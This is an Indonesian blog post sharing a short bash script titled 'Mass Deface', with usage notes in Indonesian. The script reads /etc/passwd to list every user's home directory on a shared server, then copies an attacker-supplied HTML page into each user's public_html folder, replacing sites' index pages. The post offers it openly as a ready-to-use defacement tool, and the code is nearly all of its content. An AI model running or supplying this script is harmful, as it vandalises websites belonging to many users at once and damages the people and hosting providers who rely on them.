Mass Deface (shell script)
Note: bila halaman indexnya ada di folder /home/user/public_html/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| #/bin/bash #coded by r0ll0v3r penggunaan () { echo "## coded by k4j0l ##" echo "## mass deface script (copy your page to /home/user/public_html/) " echo "fungsi pemakaian -> sh mass.txt -f /path/for/defacing.html" exit 1 } utama() { for ((i=1;i<10000;i++)) do path=`cat /etc/passwd | grep home | awk 'BEGIN {FS=":"} {print $6}'| awk 'NR=='$i''` if [ "$path" != "" ] then cp -rf $2 $path"/public_html/" else exit fi done } if [ "$1" == "-f" ] then utama else penggunaan fi |
Tidak ada komentar:
Posting Komentar